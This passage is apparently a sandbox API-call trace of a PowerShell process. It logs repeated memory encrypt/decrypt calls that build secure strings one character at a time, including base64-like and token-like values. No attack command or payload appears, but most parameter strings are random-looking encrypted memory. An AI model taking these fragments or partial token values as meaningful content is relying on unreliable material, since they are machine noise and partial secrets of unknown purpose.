(param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ䂶ᚪ껅먔롑얚⌚䷍") returned 0x20 [0256.379] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.379] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5῱褱綹ᛐ﵆") returned 0x20 [0256.379] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.379] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽﺤ뒻䘽く뢺원퀥") returned 0x20 [0256.379] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽﺤ뒻䘽く뢺원퀥") returned 0x20 [0256.379] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.379] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5p῱褱綹ᛐ﵆") returned 0x20 [0256.380] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.380] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ挐긡簇\蛟揶鋠⋯) returned 0x20 [0256.380] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ挐긡簇\蛟揶鋠⋯) returned 0x20 [0256.380] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.380] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr褱綹ᛐ﵆") returned 0x20 [0256.380] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.380] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ␀⾬￡錦離븡") returned 0x20 [0256.380] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ␀⾬￡錦離븡") returned 0x20 [0256.380] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.380] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9綹ᛐ﵆") returned 0x20 [0256.380] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.380] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽų勽ᱏ㟯ꥨ᭘붋") returned 0x20 [0256.380] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽų勽ᱏ㟯ꥨ᭘붋") returned 0x20 [0256.380] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.381] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9eᛐ﵆") returned 0x20 [0256.381] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.381] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ뒒া몔䑔콠璟") returned 0x20 [0256.381] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ뒒া몔䑔콠璟") returned 0x20 [0256.381] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.381] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ej﵆") returned 0x20 [0256.381] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.381] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ棕驢綩⮱⩫撦쿈䖊") returned 0x20 [0256.381] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ棕驢綩⮱⩫撦쿈䖊") returned 0x20 [0256.381] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.381] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejt") returned 0x20 [0256.381] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.382] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃") returned 0x20 [0256.382] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃") returned 0x20 [0256.382] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃") returned 0x20 [0256.382] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃") returned 0x28 [0256.382] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.382] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtp罢éゲ岨ए그") returned 0x28 [0256.382] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.382] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃ꫠ픓펀䶴ᘜ홹䳻㈕") returned 0x28 [0256.383] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃ꫠ픓펀䶴ᘜ홹䳻㈕") returned 0x28 [0256.383] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.383] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpyéゲ岨ए그") returned 0x28 [0256.383] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.383] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃齐價뎜뢷垂耭") returned 0x28 [0256.383] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃齐價뎜뢷垂耭") returned 0x28 [0256.383] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.383] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5ゲ岨ए그") returned 0x28 [0256.383] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.383] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃ȯ㷀蹸ᰛӖ䮗柊") returned 0x28 [0256.383] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃ȯ㷀蹸ᰛӖ䮗柊") returned 0x28 [0256.383] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.383] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5S岨ए그") returned 0x28 [0256.383] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.384] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃栻賨聑匵ᇈ䷩") returned 0x28 [0256.384] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃栻賨聑匵ᇈ䷩") returned 0x28 [0256.384] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.384] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5Soए그") returned 0x28 [0256.384] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.384] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃沴掠郐器雥뽻婦ㄟ") returned 0x28 [0256.384] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃沴掠郐器雥뽻婦ㄟ") returned 0x28 [0256.384] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.384] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5Somए그") returned 0x28 [0256.384] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.384] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃闡悮製黋줖") returned 0x28 [0256.384] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃闡悮製黋줖") returned 0x28 [0256.384] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.385] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5SomG그") returned 0x28 [0256.385] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.385] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃७㺘ꯁ᫱缥힧") returned 0x28 [0256.385] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃७㺘ꯁ᫱缥힧") returned 0x28 [0256.385] SystemFunction041 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.385] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5SomGh") returned 0x28 [0256.385] SystemFunction040 (in: Memory=0x3afab4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afab4) returned 0x0 [0256.385] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟") returned 0x28 [0256.385] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟") returned 0x28 [0256.385] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟") returned 0x28 [0256.386] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟") returned 0x30 [0256.386] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.386] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5SomGhG⤨셾乚╵䵬⃲") returned 0x30 [0256.386] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.386] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟꿂糒ꇜ넂䃠቎ꭻ") returned 0x30 [0256.386] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟꿂糒ꇜ넂䃠቎ꭻ") returned 0x30 [0256.386] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.386] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5SomGhGF셾乚╵䵬⃲") returned 0x30 [0256.386] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.386] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟ꭗ醌䤓\櫘䍠∓) returned 0x30 [0256.386] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟ꭗ醌䤓\櫘䍠∓) returned 0x30 [0256.386] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.386] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5SomGhGFk셾乚╵䵬⃲") returned 0x30 [0256.387] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.387] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟旎ᅝ⦧⚧榙铣焟㉷") returned 0x30 [0256.387] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽƃ䟷瞀詼흇劊穼惃犷ᆽ艨箰억錊㸟旎ᅝ⦧⚧榙铣焟㉷") returned 0x30 [0256.387] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.387] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl5pr9ejtpy5SomGhGFk=乚╵䵬⃲") returned 0x30 [0256.387] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0256.387] EtwEventActivityIdControl () returned 0x0 [0256.387] EtwEventActivityIdControl () returned 0x0 [0256.387] EtwEventActivityIdControl () returned 0x0 [0256.388] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.388] EtwEventActivityIdControl () returned 0x0 [0256.388] EtwEventActivityIdControl () returned 0x0 [0256.388] EtwEventActivityIdControl () returned 0x0 [0256.389] SysStringLen (param_1="") returned 0x8 [0256.389] SysStringLen (param_1="N") returned 0x8 [0256.389] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.389] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.389] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.389] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.389] SysStringLen (param_1="ND") returned 0x8 [0256.389] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.389] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.389] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.389] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.389] SysStringLen (param_1="NDZ") returned 0x8 [0256.389] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.390] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.390] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.390] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.390] SysStringLen (param_1="NDZl") returned 0x8 [0256.390] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.390] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.390] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.390] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.390] SysStringLen (param_1="NDZlO") returned 0x8 [0256.390] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.390] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.390] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.390] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.391] SysStringLen (param_1="NDZlOD") returned 0x8 [0256.391] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.391] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.391] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.391] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.391] SysStringLen (param_1="NDZlODR") returned 0x8 [0256.392] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.392] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.392] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.392] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.393] SysStringLen (param_1="NDZlODRm") returned 0x8 [0256.393] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.393] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0256.393] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.394] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.394] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.394] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.394] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.394] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.394] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.394] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.394] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0256.394] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.395] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.395] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0256.395] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.395] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.395] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0256.395] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.395] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.395] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.395] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0256.395] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.396] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.396] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0256.396] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.396] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.396] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0256.396] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.396] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0256.397] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.397] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0256.397] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.397] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.397] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.397] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0256.398] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.398] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.398] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0256.398] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.398] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.398] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 